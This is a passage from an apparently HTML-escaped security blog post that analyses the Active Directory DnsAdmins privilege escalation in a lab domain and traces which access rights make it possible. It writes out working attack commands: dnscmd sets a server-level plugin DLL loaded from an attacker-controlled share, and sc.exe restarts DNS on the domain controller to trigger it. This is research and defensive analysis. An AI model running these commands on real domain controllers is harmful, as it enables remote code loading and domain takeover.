class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;GenericWrite&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WriteDacl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WriteOwner&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InheritanceType&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;All&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectType&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;00000000-0000-0000-0000-000000000000&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InheritedObjectType&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;   &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;00000000-0000-0000-0000-000000000000&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectFlags&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AccessControlType&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Allow&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IdentityReference&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PHACKT\DnsAdmins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsInherited&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InheritanceFlags&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ContainerInherit&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PropagationFlags&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this last command you will get the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GENERIC_WRITE&lt;/code&gt; right, which stands for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RIGHT_READ_CONTROL | RIGHT_DS_WRITE_PROPERTY | RIGHT_DS_WRITE_PROPERTY_EXTENDED&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So according to the &lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a&quot;&gt;Active Directory Technical Specification&lt;/a&gt; (Page 419), what is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RIGHT_DS_WRITE_PROPERTY_EXTENDED&lt;/code&gt; and why is it important in our exploitation ?&lt;/p&gt;

&lt;h1 id=&quot;what-are-the-necessary-rights-for-the-exploitation&quot;&gt;What are the necessary rights for the exploitation&lt;/h1&gt;

&lt;p&gt;Let’s play with DnsAdmins rights and see what happens in the context of a DnsAdmins member. Let’s assume that our &lt;strong&gt;attacker&lt;/strong&gt; user got a control path to add himself to DnsAdmins for example ;&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADGroupMember&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;


&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;distinguishedName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attacker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;phackt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;attacker&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;objectClass&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;objectGUID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;1cab0c62-e28b-4a80-b13f-f1ff515d6d44&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SamAccountName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;attacker&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;               &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;S-1-5-21-3816950244-2414788102-2833019223-1612&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;whoami&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;phackt\attacker&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;dnscmd&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC01.PHACKT.LOCAL&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/config&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/serverlevelplugindll&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;\\attackermachine\dll\mimilib.dll&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Registry&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;serverlevelplugindll&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;successfully&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reset.&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;completed&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;successfully&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;note&quot;&gt;
&lt;i&gt;dnscmd.exe&lt;/i&gt; will need the DNS RSAT installed: &lt;br /&gt;&lt;br /&gt;
&lt;code&gt;
Add-WindowsCapability –online –Name &quot;Rsat.Dns.Tools~~~~0.0.1.0&quot;
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;So what happened ?&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/procmondll.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ServerPluginDll&lt;/code&gt; has been set, you can restart the DNS service to trigger your exploit :&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;sc.exe \\dc01.phackt.local stop dns
sc.exe \\dc01.phackt.local start dns
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now let’s drop the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RIGHT_DS_WRITE_PROPERTY_EXTENDED&lt;/code&gt; right ;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/withoutextwrite.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now let’s get back to our exploitation ;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/expwithoutextwrite.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hum ok it does not work anymore. So let’s rollback and drop this time the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RIGHT_DS_WRITE_PROPERTY&lt;/code&gt; ;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/expwithoutwrite.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We are also getting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ERROR_ACCESS_DENIED&lt;/code&gt;.&lt;/p&gt;

&lt;h1 id=&quot;first-conclusion&quot;&gt;First conclusion&lt;/h1&gt;
&lt;p&gt;We can run the DnsAdmins privilege escalation because DnsAdmins is a trustee with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RIGHT_DS_WRITE_PROPERTY&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RIGHT_DS_WRITE_PROPERTY_EXTENDED&lt;/code&gt; rights on &lt;strong&gt;MicrosoftDNS&lt;/strong&gt; container. As mentioned, the &lt;strong&gt;dns.exe service is using the MicrosoftDNS security descriptor to define its access rights&lt;/strong&gt;.&lt;/p&gt;

&lt;p class=&quot;note&quot;&gt;
&lt;b&gt;RIGHT_DS_WRITE_PROPERTY_EXTENDED :&lt;/b&gt;
&lt;br /&gt;&lt;br /&gt;
The right to perform an operation controlled by a validated write access right. The ObjectType member of an ACE can contain a GUID that identifies the validated write. If ObjectType does not contain a GUID, the ACE controls the rights to perform all validated write operations associated with the object.
&lt;/p&gt;

&lt;p&gt;We understand that it allows the trustee (DnsAdmins) to write any &lt;a href=&quot;https://social.technet.microsoft.com/wiki/contents/articles/12031.active-directory-powershell-ad-module-properties.aspx#Extended_Properties&quot;&gt;extended property&lt;/a&gt; of our dns service. It makes sense that the needed rights expected to edit the registry key (the write permissions we just talked about) &lt;strong&gt;are checked in the code of the DNS service&lt;/strong&gt;. May be it should be worth reversing the RPC exposed.&lt;/p&gt;

&lt;p&gt;We will review in a second part why DnsAdmins has to be considered as a &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory&quot;&gt;Protected Group&lt;/a&gt; and the other mitigations to implement.&lt;/p&gt;

&lt;p&gt;Let’s have a look at the following groups ;&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADGroup&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;members&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;admincount&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;


&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DistinguishedName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;phackt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;GroupCategory&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Security&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GroupScope&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DomainLocal&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Members&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectClass&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectGUID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;54d747e8-f9c2-461b-b8f2-5cc0b99249cc&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SamAccountName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;               &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;S-1-5-21-3816950244-2414788102-2833019223-1101&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;



&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADGroup&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Domain Admins&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;members&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;admincount&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;


&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;admincount&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DistinguishedName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Admins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;phackt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;GroupCategory&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Security&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GroupScope&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Global&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Members&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;testdaadmin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;phackt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Administrator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;phackt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Admins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectClass&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectGUID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;6e647868-0e92-4686-b555-e4b5b53e1a15&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SamAccountName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Admins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
